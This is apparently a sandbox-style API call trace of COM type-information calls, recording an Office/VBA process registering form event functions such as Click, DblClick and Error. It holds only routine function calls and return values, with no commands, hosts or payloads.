ITypeInfo:LocalReleaseTypeAttr (This=0x7552d80) returned 0x0 [0018.085] IUnknown:Release (This=0x7552d80) returned 0x0 [0018.085] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x1180, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552e88) returned 0x0 [0018.085] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552e88, ppTypeAttr=0x2643b8, pDummy=0x1180 | out: ppTypeAttr=0x2643b8, pDummy=0x1180) returned 0x0 [0018.085] ITypeInfo:LocalReleaseTypeAttr (This=0x7552e88) returned 0x0 [0018.085] IUnknown:Release (This=0x7552e88) returned 0x0 [0018.085] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x880, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552ee0) returned 0x0 [0018.085] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552ee0, ppTypeAttr=0x2643b8, pDummy=0x880 | out: ppTypeAttr=0x2643b8, pDummy=0x880) returned 0x0 [0018.085] ITypeInfo:LocalReleaseTypeAttr (This=0x7552ee0) returned 0x0 [0018.086] IUnknown:Release (This=0x7552ee0) returned 0x0 [0018.086] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x700, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7552c78) returned 0x0 [0018.086] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552c78, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.086] ITypeInfo:LocalReleaseTypeAttr (This=0x7552c78) returned 0x0 [0018.086] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.086] IUnknown:AddRef (This=0x7552c78) returned 0x2 [0018.086] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.086] IUnknown:Release (This=0x7552c78) returned 0x1 [0018.086] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552c78, phRefType=0x264220*=0x0) returned 0x0 [0018.086] IUnknown:Release (This=0x7552c78) returned 0x0 [0018.086] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x1580, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7552bc8) returned 0x0 [0018.086] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552bc8, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.086] ITypeInfo:LocalReleaseTypeAttr (This=0x7552bc8) returned 0x0 [0018.086] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.086] IUnknown:AddRef (This=0x7552bc8) returned 0x2 [0018.086] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.086] IUnknown:Release (This=0x7552bc8) returned 0x1 [0018.086] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552bc8, phRefType=0x264220*=0xd) returned 0x0 [0018.086] IUnknown:Release (This=0x7552bc8) returned 0x0 [0018.086] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x900, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7552d80) returned 0x0 [0018.086] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552d80, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.086] ITypeInfo:LocalReleaseTypeAttr (This=0x7552d80) returned 0x0 [0018.086] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.086] IUnknown:AddRef (This=0x7552d80) returned 0x2 [0018.086] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.086] IUnknown:Release (This=0x7552d80) returned 0x1 [0018.086] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552d80, phRefType=0x264220*=0x1) returned 0x0 [0018.086] IUnknown:Release (This=0x7552d80) returned 0x0 [0018.086] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x1180, ppTInfo=0x264240 | out: ppTInfo=0x264240*=0x7552e88) returned 0x0 [0018.086] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552e88, ppTypeAttr=0x264258, pDummy=0x264220 | out: ppTypeAttr=0x264258, pDummy=0x264220*=0x264260) returned 0x0 [0018.086] ITypeInfo:LocalReleaseTypeAttr (This=0x7552e88) returned 0x0 [0018.086] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.086] IUnknown:AddRef (This=0x7552e88) returned 0x2 [0018.086] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.086] IUnknown:Release (This=0x7552e88) returned 0x1 [0018.086] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552e88, phRefType=0x264290*=0x2b77b30) returned 0x0 [0018.086] IUnknown:Release (This=0x7552e88) returned 0x0 [0018.086] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x880, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7552ee0) returned 0x0 [0018.086] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552ee0, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.086] ITypeInfo:LocalReleaseTypeAttr (This=0x7552ee0) returned 0x0 [0018.086] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.086] IUnknown:AddRef (This=0x7552ee0) returned 0x2 [0018.086] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.086] IUnknown:Release (This=0x7552ee0) returned 0x1 [0018.086] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552ee0, phRefType=0x264220*=0x264260) returned 0x0 [0018.086] IUnknown:Release (This=0x7552ee0) returned 0x0 [0018.086] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.086] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x1, pFuncDesc=0x743eeb8) returned 0x0 [0018.087] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x1, rgszNames=0x6fde4c0*="BeforeDragOver", cNames=0x9) returned 0x0 [0018.087] ITypeInfo:GetMops (in: This=0x7552b70, memid=3, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.087] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=3, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.087] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0x1, dwHelpContext=0x1e849e) returned 0x0 [0018.087] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.087] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x2, ppFuncDesc=0x264338, pDummy=0x5006dd02460007 | out: ppFuncDesc=0x264338, pDummy=0x5006dd02460007) returned 0x0 [0018.087] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=4, rgBstrNames=0x6fde4c0, cMaxNames=0x9, pcNames=0x264340 | out: rgBstrNames=0x6fde4c0*="BeforeDropOrPaste", pcNames=0x264340*=0x9) returned 0x0 [0018.087] _wcsicmp (_String1="BeforeDropOrPaste", _String2="Initialize") returned -7 [0018.087] _wcsicmp (_String1="BeforeDropOrPaste", _String2="Resize") returned -16 [0018.087] _wcsicmp (_String1="BeforeDropOrPaste", _String2="QueryClose") returned -15 [0018.087] _wcsicmp (_String1="BeforeDropOrPaste", _String2="Activate") returned 1 [0018.087] _wcsicmp (_String1="BeforeDropOrPaste", _String2="Deactivate") returned -2 [0018.087] _wcsicmp (_String1="BeforeDropOrPaste", _String2="Terminate") returned -18 [0018.087] _wcsicmp (_String1="BeforeDropOrPaste", _String2="Object") returned -13 [0018.087] _wcsicmp (_String1="BeforeDropOrPaste", _String2="Name") returned -12 [0018.087] _wcsicmp (_String1="BeforeDropOrPaste", _String2="Parent") returned -14 [0018.087] _wcsicmp (_String1="BeforeDropOrPaste", _String2="Delete") returned -2 [0018.087] _wcsicmp (_String1="BeforeDropOrPaste", _String2="Index") returned -7 [0018.087] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x700, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552c78) returned 0x0 [0018.087] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552c78, ppTypeAttr=0x2643b8, pDummy=0x264310 | out: ppTypeAttr=0x2643b8, pDummy=0x264310*=0x264400) returned 0x0 [0018.087] ITypeInfo:LocalReleaseTypeAttr (This=0x7552c78) returned 0x0 [0018.087] IUnknown:Release (This=0x7552c78) returned 0x0 [0018.087] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x1580, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552bc8) returned 0x0 [0018.087] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552bc8, ppTypeAttr=0x2643b8, pDummy=0x264310 | out: ppTypeAttr=0x2643b8, pDummy=0x264310*=0x264400) returned 0x0 [0018.087] ITypeInfo:LocalReleaseTypeAttr (This=0x7552bc8) returned 0x0 [0018.087] IUnknown:Release (This=0x7552bc8) returned 0x0 [0018.087] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x300, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552fe8) returned 0x0 [0018.087] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552fe8, ppTypeAttr=0x2643b8, pDummy=0x300 | out: ppTypeAttr=0x2643b8, pDummy=0x300) returned 0x0 [0018.087] ITypeInfo:LocalReleaseTypeAttr (This=0x7552fe8) returned 0x0 [0018.087] IUnknown:Release (This=0x7552fe8) returned 0x0 [0018.087] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x900, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552d80) returned 0x0 [0018.087] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552d80, ppTypeAttr=0x2643b8, pDummy=0x264310 | out: ppTypeAttr=0x2643b8, pDummy=0x264310*=0x264400) returned 0x0 [0018.087] ITypeInfo:LocalReleaseTypeAttr (This=0x7552d80) returned 0x0 [0018.087] IUnknown:Release (This=0x7552d80) returned 0x0 [0018.087] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x880, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552ee0) returned 0x0 [0018.087] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552ee0, ppTypeAttr=0x2643b8, pDummy=0x264310 | out: ppTypeAttr=0x2643b8, pDummy=0x264310*=0x264400) returned 0x0 [0018.087] ITypeInfo:LocalReleaseTypeAttr (This=0x7552ee0) returned 0x0 [0018.087] IUnknown:Release (This=0x7552ee0) returned 0x0 [0018.087] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x700, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7552c78) returned 0x0 [0018.087] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552c78, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.087] ITypeInfo:LocalReleaseTypeAttr (This=0x7552c78) returned 0x0 [0018.087] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.088] IUnknown:AddRef (This=0x7552c78) returned 0x2 [0018.088] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.088] IUnknown:Release (This=0x7552c78) returned 0x1 [0018.088] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552c78, phRefType=0x264220*=0x0) returned 0x0 [0018.088] IUnknown:Release (This=0x7552c78) returned 0x0 [0018.088] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x1580, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7552bc8) returned 0x0 [0018.088] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552bc8, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.088] ITypeInfo:LocalReleaseTypeAttr (This=0x7552bc8) returned 0x0 [0018.088] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.088] IUnknown:AddRef (This=0x7552bc8) returned 0x2 [0018.088] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.088] IUnknown:Release (This=0x7552bc8) returned 0x1 [0018.088] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552bc8, phRefType=0x264220*=0xd) returned 0x0 [0018.088] IUnknown:Release (This=0x7552bc8) returned 0x0 [0018.088] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x300, ppTInfo=0x264240 | out: ppTInfo=0x264240*=0x7552fe8) returned 0x0 [0018.088] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552fe8, ppTypeAttr=0x264258, pDummy=0x264220 | out: ppTypeAttr=0x264258, pDummy=0x264220*=0x264260) returned 0x0 [0018.088] ITypeInfo:LocalReleaseTypeAttr (This=0x7552fe8) returned 0x0 [0018.088] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.088] IUnknown:AddRef (This=0x7552fe8) returned 0x2 [0018.088] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.088] IUnknown:Release (This=0x7552fe8) returned 0x1 [0018.088] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552fe8, phRefType=0x264290*=0x2b77b30) returned 0x0 [0018.088] IUnknown:Release (This=0x7552fe8) returned 0x0 [0018.088] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x900, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7552d80) returned 0x0 [0018.088] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552d80, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.088] ITypeInfo:LocalReleaseTypeAttr (This=0x7552d80) returned 0x0 [0018.088] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.088] IUnknown:AddRef (This=0x7552d80) returned 0x2 [0018.089] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.089] IUnknown:Release (This=0x7552d80) returned 0x1 [0018.089] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552d80, phRefType=0x264220*=0x264260) returned 0x0 [0018.089] IUnknown:Release (This=0x7552d80) returned 0x0 [0018.089] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x880, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7552ee0) returned 0x0 [0018.089] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552ee0, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.089] ITypeInfo:LocalReleaseTypeAttr (This=0x7552ee0) returned 0x0 [0018.089] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.089] IUnknown:AddRef (This=0x7552ee0) returned 0x2 [0018.089] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.089] IUnknown:Release (This=0x7552ee0) returned 0x1 [0018.089] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552ee0, phRefType=0x264220*=0x19) returned 0x0 [0018.089] IUnknown:Release (This=0x7552ee0) returned 0x0 [0018.089] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.089] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x2, pFuncDesc=0x743eeb8) returned 0x0 [0018.089] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x2, rgszNames=0x6fde4c0*="BeforeDropOrPaste", cNames=0x9) returned 0x0 [0018.089] ITypeInfo:GetMops (in: This=0x7552b70, memid=4, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.089] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=4, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.089] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0x2, dwHelpContext=0x1e84a8) returned 0x0 [0018.089] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.089] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x3, ppFuncDesc=0x264338, pDummy=0x5006de02460007 | out: ppFuncDesc=0x264338, pDummy=0x5006de02460007) returned 0x0 [0018.089] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-600, rgBstrNames=0x7492680, cMaxNames=0x1, pcNames=0x264340 | out: rgBstrNames=0x7492680*="Click", pcNames=0x264340*=0x1) returned 0x0 [0018.089] _wcsicmp (_String1="Click", _String2="Initialize") returned -6 [0018.089] _wcsicmp (_String1="Click", _String2="Resize") returned -15 [0018.089] _wcsicmp (_String1="Click", _String2="QueryClose") returned -14 [0018.089] _wcsicmp (_String1="Click", _String2="Activate") returned 2 [0018.089] _wcsicmp (_String1="Click", _String2="Deactivate") returned -1 [0018.089] _wcsicmp (_String1="Click", _String2="Terminate") returned -17 [0018.089] _wcsicmp (_String1="Click", _String2="Object") returned -12 [0018.089] _wcsicmp (_String1="Click", _String2="Name") returned -11 [0018.089] _wcsicmp (_String1="Click", _String2="Parent") returned -13 [0018.089] _wcsicmp (_String1="Click", _String2="Delete") returned -1 [0018.089] _wcsicmp (_String1="Click", _String2="Index") returned -6 [0018.089] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.089] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x3, pFuncDesc=0x74f0e78) returned 0x0 [0018.089] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x3, rgszNames=0x7492680*="Click", cNames=0x1) returned 0x0 [0018.089] ITypeInfo:GetMops (in: This=0x7552b70, memid=-600, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.089] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=-600, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.089] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0x3, dwHelpContext=0x1e84c6) returned 0x0 [0018.089] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.089] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x4, ppFuncDesc=0x264338, pDummy=0x4601720001 | out: ppFuncDesc=0x264338, pDummy=0x4601720001) returned 0x0 [0018.090] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-601, rgBstrNames=0x75748a0, cMaxNames=0x2, pcNames=0x264340 | out: rgBstrNames=0x75748a0*="DblClick", pcNames=0x264340*=0x2) returned 0x0 [0018.090] _wcsicmp (_String1="DblClick", _String2="Initialize") returned -5 [0018.090] _wcsicmp (_String1="DblClick", _String2="Resize") returned -14 [0018.090] _wcsicmp (_String1="DblClick", _String2="QueryClose") returned -13 [0018.090] _wcsicmp (_String1="DblClick", _String2="Activate") returned 3 [0018.090] _wcsicmp (_String1="DblClick", _String2="Deactivate") returned -3 [0018.090] _wcsicmp (_String1="DblClick", _String2="Terminate") returned -16 [0018.090] _wcsicmp (_String1="DblClick", _String2="Object") returned -11 [0018.090] _wcsicmp (_String1="DblClick", _String2="Name") returned -10 [0018.090] _wcsicmp (_String1="DblClick", _String2="Parent") returned -12 [0018.090] _wcsicmp (_String1="DblClick", _String2="Delete") returned -3 [0018.090] _wcsicmp (_String1="DblClick", _String2="Index") returned -5 [0018.090] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x700, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552c78) returned 0x0 [0018.090] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552c78, ppTypeAttr=0x2643b8, pDummy=0x264310 | out: ppTypeAttr=0x2643b8, pDummy=0x264310*=0x264400) returned 0x0 [0018.090] ITypeInfo:LocalReleaseTypeAttr (This=0x7552c78) returned 0x0 [0018.090] IUnknown:Release (This=0x7552c78) returned 0x0 [0018.090] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x700, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7552c78) returned 0x0 [0018.090] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552c78, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.090] ITypeInfo:LocalReleaseTypeAttr (This=0x7552c78) returned 0x0 [0018.090] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.090] IUnknown:AddRef (This=0x7552c78) returned 0x2 [0018.090] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.090] IUnknown:Release (This=0x7552c78) returned 0x1 [0018.090] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552c78, phRefType=0x264220*=0x75ee038) returned 0x0 [0018.090] IUnknown:Release (This=0x7552c78) returned 0x0 [0018.090] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.090] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x4, pFuncDesc=0x74f0e78) returned 0x0 [0018.090] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x4, rgszNames=0x75748a0*="DblClick", cNames=0x2) returned 0x0 [0018.090] ITypeInfo:GetMops (in: This=0x7552b70, memid=-601, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.090] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=-601, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.090] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0x4, dwHelpContext=0x1e84d0) returned 0x0 [0018.090] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.090] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x5, ppFuncDesc=0x264338, pDummy=0x81020202c4 | out: ppFuncDesc=0x264338, pDummy=0x81020202c4) returned 0x0 [0018.090] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-608, rgBstrNames=0x6fde4c0, cMaxNames=0x8, pcNames=0x264340 | out: rgBstrNames=0x6fde4c0*="Error", pcNames=0x264340*=0x8) returned 0x0 [0018.090] _wcsicmp (_String1="Error", _String2="Initialize") returned -4 [0018.090] _wcsicmp (_String1="Error", _String2="Resize") returned -13 [0018.090] _wcsicmp (_String1="Error", _String2="QueryClose") returned -12 [0018.090] _wcsicmp (_String1="Error", _String2="Activate") returned 4 [0018.090] _wcsicmp (_String1="Error", _String2="Deactivate") returned 1 [0018.090] _wcsicmp (_String1="Error", _String2="Terminate") returned -15 [0018.090] _wcsicmp (_String1="Error", _String2="Object") returned -10 [0018.090] _wcsicmp (_String1="Error", _String2="Name") returned -9 [0018.090] _wcsicmp (_String1="Error", _String2="Parent") returned -11 [0018.090] _wcsicmp (_String1="Error", _String2="Delete") returned 1 [0018.090] _wcsicmp (_String1="Error", _String2="Index") returned -4 [0018.090] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x780, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7553040) returned 0x0 [0018.091] ITypeInfo:RemoteGetTypeAttr (in: This=0x7553040, ppTypeAttr=0x2643b8, pDummy=0x780 | out: ppTypeAttr=0x2643b8, pDummy=0x780) returned 0x0 [0018.091] ITypeInfo:LocalReleaseTypeAttr (This=0x7553040) returned 0x0 [0018.091] IUnknown:Release (This=0x7553040) returned 0x0 [0018.091] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x700, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552c78) returned 0x0 [0018.091] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552c78, ppTypeAttr=0x2643b8, pDummy=0x264310 | out: ppTypeAttr=0x2643b8, pDummy=0x264310*=0x264400) returned 0x0 [0018.091] ITypeInfo:LocalReleaseTypeAttr (This=0x7552c78) returned 0x0 [0018.091] IUnknown:Release (This=0x7552c78) returned 0x0 [0018.091] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x780, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7553040) returned 0x0 [0018.091] ITypeInfo:RemoteGetTypeAttr (in: This=0x7553040, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.091] ITypeInfo:LocalReleaseTypeAttr (This=0x7553040) returned 0x0 [0018.091] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.091] IUnknown:AddRef (This=0x7553040) returned 0x2 [0018.091] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.091] IUnknown:Release (This=0x7553040) returned 0x1 [0018.091] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7553040, phRefType=0x264220*=0x0) returned 0x0 [0018.091] IUnknown:Release (This=0x7553040) returned 0x0 [0018.091] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x700, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7552c78) returned 0x0 [0018.091] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552c78, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.091] ITypeInfo:LocalReleaseTypeAttr (This=0x7552c78) returned 0x0 [0018.091] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.091] IUnknown:AddRef (This=0x7552c78) returned 0x2 [0018.091] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.091] IUnknown:Release (This=0x7552c78) returned 0x1 [0018.091] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552c78, phRefType=0x264220*=0x49) returned 0x0 [0018.091] IUnknown:Release (This=0x7552c78) returned 0x0 [0018.091] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.091] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x5, pFuncDesc=0x743eeb8) returned 0x0 [0018.091] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x5, rgszNames=0x6fde4c0*="Error", cNames=0x8) returned 0x0 [0018.091] ITypeInfo:GetMops (in: This=0x7552b70, memid=-608, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.091] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=-608, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.091] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0x5, dwHelpContext=0x1e84e4) returned 0x0 [0018.091] 